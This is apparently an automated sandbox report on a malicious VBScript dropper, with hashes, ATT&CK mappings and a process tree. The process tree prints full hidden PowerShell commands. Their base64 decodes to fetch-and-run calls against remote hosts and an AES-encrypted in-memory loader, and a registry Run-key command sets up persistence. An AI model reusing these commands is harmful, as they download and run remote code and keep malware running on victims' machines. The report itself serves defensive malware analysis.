acdcc9515147f1691ddb2c7cbd352a67ef6f0e57cb72ea593df2bd2fe01f0509

General

Target

UmnrNoAnyOpt.vbs
Size

12.7MB
MD5

f7650386857dd0d31fb2a1e984dfd3b5
SHA1

f273746309e4dff543059ec934895108dd2b6244
SHA256

acdcc9515147f1691ddb2c7cbd352a67ef6f0e57cb72ea593df2bd2fe01f0509
SHA512

e8421e56ed514f38780d4c4d3261810c3b7374c3afad7016de0ef50905dba12d2661206162865da93ada5eeb733d9ed985fd2a4f205ee248a2ca3a3fa5607616
SSDEEP

49152:BnxqEP6D/zp8K91y5+30k5xTZq+4+EtVGnKTSB4IpQsBtK+gvA9hZKwPBdko9cgD:C

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2884	powershell.exe
2804	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows\CurrentVersion\Run\dwm = "C:\\Users\\Admin\\dwm.bat"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2804	powershell.exe
2884	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2884	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 792	2096	WScript.exe	31
PID 2096 wrote to memory of 792	2096	WScript.exe	31
PID 2096 wrote to memory of 792	2096	WScript.exe	31
PID 792 wrote to memory of 2060	792	cmd.exe	33
PID 792 wrote to memory of 2060	792	cmd.exe	33
PID 792 wrote to memory of 2060	792	cmd.exe	33
PID 2060 wrote to memory of 2804	2060	cmd.exe	35
PID 2060 wrote to memory of 2804	2060	cmd.exe	35
PID 2060 wrote to memory of 2804	2060	cmd.exe	35
PID 2060 wrote to memory of 2888	2060	cmd.exe	36
PID 2060 wrote to memory of 2888	2060	cmd.exe	36
PID 2060 wrote to memory of 2888	2060	cmd.exe	36
PID 2060 wrote to memory of 2884	2060	cmd.exe	37
PID 2060 wrote to memory of 2884	2060	cmd.exe	37
PID 2060 wrote to memory of 2884	2060	cmd.exe	37

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\UmnrNoAnyOpt.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\c.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -noprofile -windowStyle Hidden -ep bypass -command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aWV4IChJbnZva2UtV2ViUmVxdWVzdCAtVXJpICJodHRwczovLzB4MC5zdC84WDVULnBzMSIp')))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2804
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "dwm" /t REG_SZ /d "C:\Users\Admin\dwm.bat" /f
      4⤵
      Adds Run key to start application
      PID:2888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hiDDen -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ2FXVjRJQ2hKYm5admEyVXRWMlZpVW1WeGRXVnpkQ0F0VlhKcElDSm9kSFJ3T2k4dk1UVTJMakkxTXk0eU5UQXVOakk2TlRBd01DOWtiM2R1Ykc5aFpDOUhaVzVsY21GMFpXUlRZM0pwY0hRdWNITXhJaWs9JykpKTtlbXB0eXNlcnZpY2VzIC1ldHc7U3RhcnQtU2xlZXAgLVNlY29uZHMgMTA7ZnVuY3Rpb24gZ2VjdGltY2RnYmpsb2x6a2lxcmptaGN0aHhxeHpnbW51ZWtiaW5hbigkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ0JFMEw2aUN3N3crTnBhVzcwNktsZ01UN3pxMkZHYXlReFkrWElkaHA4SEE9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OignZ25pcnRTNDZlc2FCbW9yRidbLTEuLi0xNl0gLWpvaW4gJycpKCdmNGV6a1NJa2RhN1Ewcmk5R2VtSVF3PT0nKTsJJGRlY3J5cHRvcl92YXI9JGFlc192YXIuQ3JlYXRlRGVjcnlwdG9yKCk7CSRyZXR1cm5fdmFyPSRkZWNyeXB0b3JfdmFyLlRyYW5zZm9ybUZpbmFsQmxvY2soJHBhcmFtX3ZhciwgMCwgJHBhcmFtX3Zhci5MZW5ndGgpOwkkZGVjcnlwdG9yX3Zhci5EaXNwb3NlKCk7CSRhZXNfdmFyLkRpc3Bvc2UoKTsJJHJldHVybl92YXI7fWZ1bmN0aW9uIGZqbXNjcXVhYmZ3b2NjYXpjaW1rdmVlenB3cmtheGN2cWRkZHZrcXIoJHBhcmFtX3Zhcil7CUlFWCAnJGRwd3RreGtyZWx6emFxc2FmbWRneWt6ZGQ9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFBQUJCQkNDQ2VtQUFBQkJCQ0NDb3JBQUFCQkJDQ0N5U0FBQUJCQkNDQ3RyQUFBQkJCQ0NDZWFBQUFCQkJDQ0NtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FBQUJCQkNDQycsICcnKTsJSUVYICckYXl6eXhkcnN1Z2dpa3BybHpmcHljdWFsZD1OZXctT2JqZWN0IFN5c3RlbS5JTy5BQUFCQkJDQ0NNQUFBQkJCQ0NDZUFBQUJCQkNDQ21BQUFCQkJDQ0NvQUFBQkJCQ0NDckFBQUJCQkNDQ3lBQUFCQkJDQ0NTQUFBQkJCQ0NDdEFBQUJCQkNDQ3JBQUFCQkJDQ0NlQUFBQkJCQ0NDYUFBQUJCQkNDQ21BQUFCQkJDQ0M7Jy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7CUlFWCAnJHhqaGt0dHB0cWp6bHRoaGhoZ2psc3Z3bHU9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FBQUJCQkNDQ29tQUFBQkJCQ0NDcHJBQUFCQkJDQ0NlQUFBQkJCQ0NDc3NBQUFCQkJDQ0Npb0FBQUJCQkNDQ24uQUFBQkJCQ0NDR1pBQUFCQkJDQ0NpcEFBQUJCQkNDQ1N0QUFBQkJCQ0NDcmVBQUFCQkJDQ0NhbUFBQUJCQkNDQygkZHB3dGt4a3JlbHp6YXFzYWZtZGd5a3pkZCwgW0lPLkNBQUFCQkJDQ0NvbUFBQUJCQkNDQ3ByQUFBQkJCQ0NDZXNBQUFCQkJDQ0NzaUFBQUJCQkNDQ29uQUFBQkJCQ0NDLkNvQUFBQkJCQ0NDbXBBQUFCQkJDQ0NyZUFBQUJCQkNDQ3NzQUFBQkJCQ0NDaUFBQUJCQkNDQ29BQUFCQkJDQ0NuQUFBQkJCQ0NDTW9kZV06OkRBQUFCQkJDQ0NlQUFBQkJCQ0NDY0FBQUJCQkNDQ29tcEFBQUJCQkNDQ3JlQUFBQkJCQ0NDc3MpOycuUmVwbGFjZSgnQUFBQkJCQ0NDJywgJycpOwkkeGpoa3R0cHRxanpsdGhoaGhnamxzdndsdS5Db3B5VG8oJGF5enl4ZHJzdWdnaWtwcmx6ZnB5Y3VhbGQpOwkkeGpoa3R0cHRxanpsdGhoaGhnamxzdndsdS5EaXNwb3NlKCk7CSRkcHd0a3hrcmVsenphcXNhZm1kZ3lremRkLkRpc3Bvc2UoKTsJJGF5enl4ZHJzdWdnaWtwcmx6ZnB5Y3VhbGQuRGlzcG9zZSgpOwkkYXl6eXhkcnN1Z2dpa3BybHpmcHljdWFsZC5Ub0FycmF5KCk7fWZ1bmN0aW9uIGFhd2ZqaGN5cG1yZ2ZzcWdraGlhaG5zdG1iam1hcWZmdGxuKCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewkJSUVYICckeWZrZWFmeW91enVraWJucXB0Z3NhZnhpcXZvcXpsYm12cHVuZm9xZD1bU3lzdGVtLlJBQUFCQkJDQ0NlQUFBQkJCQ0NDZmxBQUFCQkJDQ0NlY3RBQUFCQkJDQ0Npb0FBQUJCQkNDQ24uQUFBQkJCQ0NDQXNBQUFCQkJDQ0NzZUFBQUJCQkNDQ21iQUFBQkJCQ0NDbEFBQUJCQkNDQ3lBQUFCQkJDQ0NdOjpMQUFBQkJCQ0NDb0FBQUJCQkNDQ2FBQUFCQkJDQ0NkQUFBQkJCQ0NDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7CUlFWCAnJGF4eWhueHpmdnZjYnF0dXNoYm5lcmhvanlob3NoemthZGNyY2hwdXN3anVkaWF3Y3ZiPSR5ZmtlYWZ5b3V6dWtpYm5xcHRnc2FmeGlxdm9xemxibXZwdW5mb3FkLkFBQUJCQkNDQ0VBQUFCQkJDQ0NuQUFBQkJCQ0NDdEFBQUJCQkNDQ3JBQUFCQkJDQ0N5QUFBQkJCQ0NDUEFBQUJCQkNDQ29BQUFCQkJDQ0NpQUFBQkJCQ0NDbkFBQUJCQkNDQ3RBQUFCQkJDQ0M7Jy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7CUlFWCAnJGF4eWhueHpmdnZjYnF0dXNoYm5lcmhvanlob3NoemthZGNyY2hwdXN3anVkaWF3Y3ZiLkFBQUJCQkNDQ0lBQUFCQkJDQ0NuQUFBQkJCQ0NDdkFBQUJCQkNDQ29BQUFCQkJDQ0NrQUFBQkJCQ0NDZUFBQUJCQkNDQygkbnVsbCwgJHBhcmFtMl92YXIpOycuUmVwbGFjZSgnQUFBQkJCQ0NDJywgJycpO30kbHpwaWprZmVjcGJtdnBsdnVybnlhYWlsbSA9ICRlbnY6VVNFUk5BTUU7JG5lYnBrbnZqa2Fmb2N4eHh2Y2d2cnZld3kgPSAnQzpcVXNlcnNcJyArICRsenBpamtmZWNwYm12cGx2dXJueWFhaWxtICsgJ0FBQUJCQkNDQ1xBQUFCQkJDQ0NkQUFBQkJCQ0NDd0FBQUJCQkNDQ21BQUFCQkJDQ0MuQUFBQkJCQ0NDYkFBQUJCQkNDQ2FBQUFCQkJDQ0N0QUFBQkJCQ0NDJy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkbmVicGtudmprYWZvY3h4eHZjZ3ZydmV3eTskcHdkbWo9W1N5c3RlbS5JTy5GaWxlXTo6KCd0eGVUbGxBZGFlUidbLTEuLi0xMV0gLWpvaW4gJycpKCRuZWJwa252amthZm9jeHh4dmNndnJ2ZXd5KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkcXJ3IGluICRwd2RtaikgewlpZiAoJHFydy5TdGFydHNXaXRoKCc6OicpKQl7CQkkcmFmcXY9JHFydy5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kYWZ4YWRhaGt6cnJocmx1bmFtYmlyZG90endkcWN0dGpwZ249W3N0cmluZ1tdXSRyYWZxdi5TcGxpdCgnXCcpO0lFWCAnJGZmdWFwZ3ltYW5uYXlnYWdtaWhjeHFlYmh3cWhmeWhza3lvPWZqbXNjcXVhYmZ3b2NjYXpjaW1rdmVlenB3cmtheGN2cWRkZHZrcXIgKGdlY3RpbWNkZ2JqbG9semtpcXJqbWhjdGh4cXh6Z21udWVrYmluYW4gKFtBQUFCQkJDQ0NDQUFBQkJCQ0NDb0FBQUJCQkNDQ25BQUFCQkJDQ0N2QUFBQkJCQ0NDZUFBQUJCQkNDQ3J0XTo6QUFBQkJCQ0NDRkFBQUJCQkNDQ3JBQUFCQkJDQ0NvQUFBQkJCQ0NDbUFBQUJCQkNDQ0JBQUFCQkJDQ0NhQUFBQkJCQ0NDc2U2QUFBQkJCQ0NDNEFBQUJCQkNDQ1NBQUFCQkJDQ0N0QUFBQkJCQ0NDcmlBQUFCQkJDQ0NuQUFBQkJCQ0NDZ0FBQUJCQkNDQygkYWZ4YWRhaGt6cnJocmx1bmFtYmlyZG90endkcWN0dGpwZ25bMF0pKSk7Jy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7SUVYICckaWdsbWJzcW9nbHZma2NuaGJoZHBvYXNzc3BxaGNmdnB6cnI9Zmptc2NxdWFiZndvY2NhemNpbWt2ZWV6cHdya2F4Y3ZxZGRkdmtxciAoZ2VjdGltY2RnYmpsb2x6a2lxcmptaGN0aHhxeHpnbW51ZWtiaW5hbiAoW0FBQUJCQkNDQ0NBQUFCQkJDQ0NvQUFBQkJCQ0NDbkFBQUJCQkNDQ3ZBQUFCQkJDQ0NlQUFBQkJCQ0NDckFBQUJCQkNDQ3RdOjpBQUFCQkJDQ0NGQUFBQkJCQ0NDckFBQUJCQkNDQ29BQUFCQkJDQ0NtQUFBQkJCQ0NDQkFBQUJCQkNDQ2FBQUFCQkJDQ0NzQUFBQkJCQ0NDZUFBQUJCQkNDQzZBQUFCQkJDQ0M0QUFBQkJCQ0NDU0FBQUJCQkNDQ3RyQUFBQkJCQ0NDaUFBQUJCQkNDQ25BQUFCQkJDQ0NnKCRhZnhhZGFoa3pycmhybHVuYW1iaXJkb3R6d2RxY3R0anBnblsxXSkpKTsnLlJlcGxhY2UoJ0FBQUJCQkNDQycsICcnKTthYXdmamhjeXBtcmdmc3Fna2hpYWhuc3RtYmptYXFmZnRsbiAkZmZ1YXBneW1hbm5heWdhZ21paGN4cWViaHdxaGZ5aHNreW8gJG51bGw7YWF3ZmpoY3lwbXJnZnNxZ2toaWFobnN0bWJqbWFxZmZ0bG4gJGlnbG1ic3FvZ2x2ZmtjbmhiaGRwb2Fzc3NwcWhjZnZwenJyICgsW3N0cmluZ1tdXSAoJyVBQUFCQkJDQ0MnKSk7')) | Invoke-Expression"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
12.7MB

MD5
7a1c7d3da7cf792dda3fcb171347daa1

SHA1
fb4f7291f1e8c2d807f34e2e43f2bfa343f219a1

SHA256
f03344def4aff1dafd24bd5a4e5c6e505a92a1c30c6bf3d11de9fea8cf187a39

SHA512
bf3372f65d5019d08804ac0a5d2df16a25e7d11670f2bfdd332ca83d4e34fae5ca752a34b3158e1bafda34e018a3a4d0dcc64fbf6cff6326fa2ea916d4d44d21

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
60a8702ad4a36272a5c59c3c0d900233

SHA1
e3ff98485190f3d918fc398731b46596e50bd569

SHA256
38dcdfb04fbd6b7e17bf7bb92e4d8c2e4f07575a5a053d4b51da29920537aaa1

SHA512
c8d83e12f614793887ece1971fd04dc0a55fbac06f20ee8093054c911d4edc9abb597cd13995925a7605a1bd51b0488f0eb9c01b224d02ab3f470baadd69e1f9

Download Submit
memory/2804-19-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-16-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-15-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2804-17-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-14-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2804-18-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-20-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-21-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-13-0x000007FEF55DE000-0x000007FEF55DF000-memory.dmp

Filesize
4KB

Download
memory/2884-29-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/2884-30-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads